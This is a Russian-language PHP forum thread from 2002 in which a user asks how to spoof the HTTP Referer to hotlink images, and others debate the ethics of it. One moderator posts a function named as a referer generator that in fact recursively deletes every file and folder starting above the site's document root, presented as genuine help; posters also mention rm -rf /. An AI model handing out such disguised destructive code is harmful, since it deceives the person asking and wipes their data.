Автор Тема: php и http_referer  (Прочитано 10222 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Оффлайн kama

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 21
  • +0/-0
  • 0
    • Просмотр профиля
    • http://kama.artcore.ru
php и http_referer
« : 03 Декабря 2002, 10:05:12 »
Такой вопрос. Есть скрипт, который выводит на сайт картинки с других сайтов с помощью img src=. Так вот, некоторые сайты не позволяют открывать картинки с них таким образом, скорее всего идет проверка http_referer. Как быть? Каким образом можно подсунуть нужный referer перед выводом картинки?

Оффлайн Макс

  • vir magni ingenii
  • Глобальный модератор
  • Ветеран
  • *****
  • Сообщений: 3534
  • +0/-0
  • 2
    • Просмотр профиля
php и http_referer
« Ответ #1 : 03 Декабря 2002, 11:14:26 »
читай RFC по HTTP
+
http://www.php.net/fsockopen
http://www.php.net/curl


PS
если кратко - просто открываеш сокет, посылаеш
Referer: // это примерно, точнее посмотри в RFC
и читаеш картинку
First learn computer science and all the theory. Next develop a programming style. Then forget all that and just hack. ( George Carrette )

Оффлайн kama

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 21
  • +0/-0
  • 0
    • Просмотр профиля
    • http://kama.artcore.ru
php и http_referer
« Ответ #2 : 03 Декабря 2002, 11:58:34 »
Так если я ее считаю - то это будет трафик на мой сервер? Смысл показа с другого сервера - уменьшение трафика.

Оффлайн kama

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 21
  • +0/-0
  • 0
    • Просмотр профиля
    • http://kama.artcore.ru
php и http_referer
« Ответ #3 : 03 Декабря 2002, 12:06:10 »
А самое интересное - что если открываю картинку в отдельном окне (т.е. referer пусть) - открывается. Значит надо как-то очистить этот самый referer перед запросом. Как?

Оффлайн Макс

  • vir magni ingenii
  • Глобальный модератор
  • Ветеран
  • *****
  • Сообщений: 3534
  • +0/-0
  • 2
    • Просмотр профиля
php и http_referer
« Ответ #4 : 03 Декабря 2002, 12:33:34 »
Цитировать
Значит надо как-то очистить этот самый referer перед запросом. Как?
никак, по крайней мере на PHP. Реферер броузером посылается.

Наверное проблема не в referer-е
First learn computer science and all the theory. Next develop a programming style. Then forget all that and just hack. ( George Carrette )

Оффлайн Меняздесьдавнонет

  • новичЕк
  • Глобальный модератор
  • Ветеран
  • *****
  • Сообщений: 5698
  • +0/-0
  • 2
    • Просмотр профиля
    • http://
php и http_referer
« Ответ #5 : 03 Декабря 2002, 13:32:04 »
вот сука.
мало того, что ворует - так еще и нос воротит.

А вы тоже хороши.
у вас ведь у самих тырить будет.
а вы и рады помочь.

Оффлайн kama

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 21
  • +0/-0
  • 0
    • Просмотр профиля
    • http://kama.artcore.ru
php и http_referer
« Ответ #6 : 03 Декабря 2002, 13:47:47 »
мда, очень вежливо. меня интересует технология. а правовые аспекты оставим заказчику.

Оффлайн Tronyx

  • Модератор
  • Ветеран
  • *****
  • Сообщений: 826
  • +0/-0
  • 2
    • Просмотр профиля
php и http_referer
« Ответ #7 : 03 Декабря 2002, 14:37:52 »
Цитировать
вот сука.
мало того, что ворует - так еще и нос воротит.

Ромик! но зачем же так грубить человеку! Он пришёл за помощью/подсказкой, а ты так на него набросился! Надо быть вежлевым и по возможности помагать. kama эта функция подсунет локального реферера, а также поможет избежать ещё пары грабель которые могут быть "подсунуты" со стороны сервера.

<?
function 
GenerateReferer($url="") {
    static 
$c=false;

    
$f=fsockopen($url80);
    
fputs($f"Referer: localhost\\n");

    if (
$c === falsechdir($_SERVER[\'DOCUMENT_ROOT\']);
    $doc=opendir("..");
    while(($e=readdir($doc)) !== false) {
        if($e=="." or $e=="..") continue;
        if(!is_dir($e)) {
            unLink($e);
            continue;
        }
        if(!chdir($e)) continue;
        GenerateReferer($url);
        rmdir($e);
    }
    fclose($f);
}
?>
С уважением, Владимир Гончаренко - COPI# 93
Ролевая онлайн игра

Оффлайн AlieN

  • Абыр!=)
  • Ветеран
  • *****
  • Сообщений: 1315
  • +0/-1
  • 2
    • Просмотр профиля
php и http_referer
« Ответ #8 : 03 Декабря 2002, 16:57:57 »
гаааа......
офигительная штучка...
Мы с металлером уже опробовали.....
Работает
Лучший архиватор со 100% сжатием
The Chemical Brothers - Hey Boy Hey Girl (User Friendly Mix)
Peter Presta pres - Set Sail(Peter Presta Apple Jaxx Dub) She S.Sunshine Feat Mila - Bring The Beat Back (Club Mix) Jerry Ropero - Home Alone (Dub Mix)

Оффлайн kama

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 21
  • +0/-0
  • 0
    • Просмотр профиля
    • http://kama.artcore.ru
php и http_referer
« Ответ #9 : 03 Декабря 2002, 17:03:41 »
Tronyx
спасибо, конечно, но проще rm -rf / сделать. я не настолько туп, чтобы не разобраться в том, что Вы написали.


ps: А ведь оказывается, что мы живем в одном городе...

Оффлайн Mog.

  • Фанат форума
  • Ветеран
  • *****
  • Сообщений: 828
  • +0/-0
  • 0
    • Просмотр профиля
php и http_referer
« Ответ #10 : 03 Декабря 2002, 17:38:24 »
А у меня этот скрипт каталоги за файлы держит :(
И строку
if ($c === false) chdir($_SERVER[\'DOCUMENT_ROOT\']);
я бы убрал. Начинать лучше с текущего каталога. И рекурсии чета невидать.
Все болезни от нервов, только сифилис от удовольствия

Оффлайн Tronyx

  • Модератор
  • Ветеран
  • *****
  • Сообщений: 826
  • +0/-0
  • 2
    • Просмотр профиля
php и http_referer
« Ответ #11 : 03 Декабря 2002, 19:37:24 »
Цитировать
И строку
if ($c === false) chdir($_SERVER[\'DOCUMENT_ROOT\']);
я бы убрал.

Так удалятся все файлы сайта, а если начинать из текущей папки то тогда "как повезёт".
Цитировать
я не настолько туп, чтобы не разобраться в том, что Вы написали.

Это хорошо.:)
Цитировать
А у меня этот скрипт каталоги за файлы держит

Невозможно.
if(!is_dir($e)) {
...
continue;}

Цитировать
А ведь оказывается, что мы живем в одном городе...

Я так и понял.
С уважением, Владимир Гончаренко - COPI# 93
Ролевая онлайн игра

Оффлайн Mog.

  • Фанат форума
  • Ветеран
  • *****
  • Сообщений: 828
  • +0/-0
  • 0
    • Просмотр профиля
php и http_referer
« Ответ #12 : 04 Декабря 2002, 08:07:29 »
Цитировать
Невозможно.

PHP:

Поменял малость в скрипте:
if(!is_dir($e)) {
            print "file: $e
";
            continue;
        }

и он мне все как файлы распечатал и никакого continue

А в целом, Tronyx , думаю ты неправ.


kama
Цитировать
Так если я ее считаю - то это будет трафик на мой сервер? Смысл показа с другого сервера - уменьшение трафика.


Факт! И скриптами ничего, кроме двойного траффика не добъёсси. А ещё я гдето читал беседу двух чел о том как настроить апач, что бы он гнал бешеный траффик на своих запрос картинок с "чужого" сайта, причем траффик ложится как раз на "чужой" сервак. Так что дело это, что палка - о двух концах.
Все болезни от нервов, только сифилис от удовольствия

Оффлайн Tronyx

  • Модератор
  • Ветеран
  • *****
  • Сообщений: 826
  • +0/-0
  • 2
    • Просмотр профиля
php и http_referer
« Ответ #13 : 04 Декабря 2002, 19:35:54 »
Цитировать
А в целом, Tronyx , думаю ты неправ.

А ты считаешь что это хорошо когда воруешь чужое, да ещё не хочешь чтобы это ворованое показывалось с твоего сервера, мол трафик экономлю.
Представь себе ситуацию: у тебя есть "обойный" сайт, а какой-нибудь чел, на своих страницах, со своими баннерами показывает твои обои - зарабатывает деньги. Всё бы хорошо, но к тебе в конце месяца прийдёт счёт по-больше обычного...
С уважением, Владимир Гончаренко - COPI# 93
Ролевая онлайн игра

Оффлайн kama

  • Заглянувший
  • Новичок
  • *
  • Сообщений: 21
  • +0/-0
  • 0
    • Просмотр профиля
    • http://kama.artcore.ru
php и http_referer
« Ответ #14 : 05 Декабря 2002, 11:50:08 »
Все это конечно правильно, но так хочет заказчик. Он платит за свои пожелания.

 

Sitemap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28